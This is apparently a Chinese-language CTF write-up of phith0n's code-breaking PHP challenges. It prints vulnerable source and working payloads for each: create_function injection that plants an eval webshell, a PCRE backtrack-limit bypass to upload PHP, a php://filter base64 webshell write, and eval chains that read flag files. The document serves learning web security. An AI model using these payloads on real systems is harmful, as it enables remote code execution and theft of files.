Source Code:https://github.com/phith0n/code-breaking

function

$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

一开始看到??有点好奇是什么,但是其实根据页面返回,也知道他是判断$_GET是否为空。它其实是三元运算符的更简便写法。

Null coalescing operator
The null coalescing operator (??) has been added as syntactic sugar for the common case of needing to use a ternary in conjunction with isset(). It returns its first operand if it exists and is not NULL; otherwise it returns its second operand.

代码逻辑一下子就能理清楚,我们要绕过preg_match然后执行我们的函数。那什么字符能绕过^ $呢,拿出burp来试试吧~

-w933

于是,我们就能任意函数调用了~但是我们只能是第二个参数可控,这里有一个可以利用的点PHP create_function()代码注入

create_function('$a','echo $a')
// 上面与下面的代码含义相同
$a = $_GET['a']
function text($a) {
  echo $a;
}
// Source code
$a = $_GET['a']
function text($a) {
  echo "test".$a;
}
// Bypass 
// http://localhost/create_function.php?id=2;}phpinfo();/*;
$a = $_GET['a']
function text($a) {
  echo "test";}phpinfo();/*;
}

而且为啥\就可以绕过呢?

P神给的解答是:

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以,现在我们就能构造我们的payload了

http://xxx:xxx/?action=%5ccreate_function&arg=echo%20hahaha;}eval($_POST['karma']);/*

然后顺利拿到flag

-w1040

lumenserial

pcrewaf

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

看源码可以知道,会经过一个preg_match()判断是否是<后面有?,还有<?后面不能有(;?>反引号,emm,那就很无奈了。没有这个,到后面你保存成php,不符合语法,他也执行不了呀。

P师傅这篇文章给了思路 -> PHP利用PCRE回溯次数限制绕过某些安全限制

这里提到了NFA正则引擎pcre.backtrack_limit
那何为NFA正则引擎

NFA正则引擎也叫“不确定型有穷自动机“
与DFA(确定型有穷自动机)的区别在于NFA引擎匹配不上时,会进行回溯,而DFA则只会一步步顺序匹配直到匹配不上或匹配完整。
举个例子来说就是:
NFA:'/ab?/'匹配'abb'会得到'abb'
DFA:‘/ab??/’匹配'abb'会得到'a'而不是'ab‘
精通正则表达式(正则引擎)

至于pcre.backtrack_limit,在官方文档,我们可以看到默认的回溯次数上限为100w
-w931

所以我们只需要发送超长字符串(大于100w),正则匹配就会执行失败,继续执行下面的代码。结果如下:
-w1197

成功写shell,得到文件名,flag自然就拿到了。

phpmagic

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>

<?php 
if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; 
?>

看了下源码之后,发现如下问题

  1. 因为输出经过了一次htmlspecialchars(),如何写shell?
  2. log_name的后缀如何绕?
  3. log_name文件名貌似有$_SERVER['SERVER_NAME'],如何绕过?

绕过htmlspecialchars()

p神之前有一篇文章介绍过伪协议的一些tricks谈一谈php://filter的妙用

这里可以用phar伪协议来绕过
但是有一点要注意的是base64是4位4位解码的,所以加密后要检查一下是否是4的倍数,不然会有bug。

绕过后缀限制

这里也有一个trick php & apache2 &操作系统之间的一些黑魔法

经过测试发现一个可以再windows和linux上都行得通的方法:
filename=1.php/.&content=<?php phpinfo();?>

绕过$_SERVER['SERVER_NAME']

这也是配置不当导致的,来看看官方的说法

意味着我们只需要改http头里的server_name就能伪造绕过。

现在我们就能结合这三个,开始写shell……

payload

host:php
domain=PD9waHAgQGV2YWwoJF9HRVRbJzEnXSk7Pz4&log=://filter/write=convert.base64-decode/resource=0akarma.php/.


-w785

Bingo...

phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

这道题虽然源码不长,但是师傅们的各种解法简直是让人眼前一亮!

session_id

-w1029

session_id()配合session_start()就可以将我们想要获取的变量值通过PHPSESSID赋值,但是PHPSESSID里面需要传纯字符串,所以需要通过编码来绕过。

Payload
GET /?code=eval(hex2bin(session_id(session_start())));

PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b

get_defined_vars

get_defined_vars ( void ) : array
获取定义的全部变量到一个数组里面
This function returns a multidimensional array containing a list of all defined variables, be them environment, server or user-defined variables, within the scope that get_defined_vars() is called.

current ( array $array ) : mixed
指针指向当前数组元素
Every array has an internal pointer to its "current" element, which is initialized to the first element inserted into the array.

next ( array &$array ) : mixed
与current()类似,next指向下一个数组元素
next() behaves like current(), with one difference. It advances the internal array pointer one place forward before returning the element value. That means it returns the next array value and advances the internal array pointer by one.

// Example
<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

于是结合这两个点就可以操纵下一个变量,来读flag

Payload
http://xxx:8084/
?code=eval(next(current(get_defined_vars())));
&b=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));

readfile + xxx()

这个思路简直神了,运用php内置相关列目录函数,一步步找flag,看来有空要去看看php的内置函数了:)

Payload
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));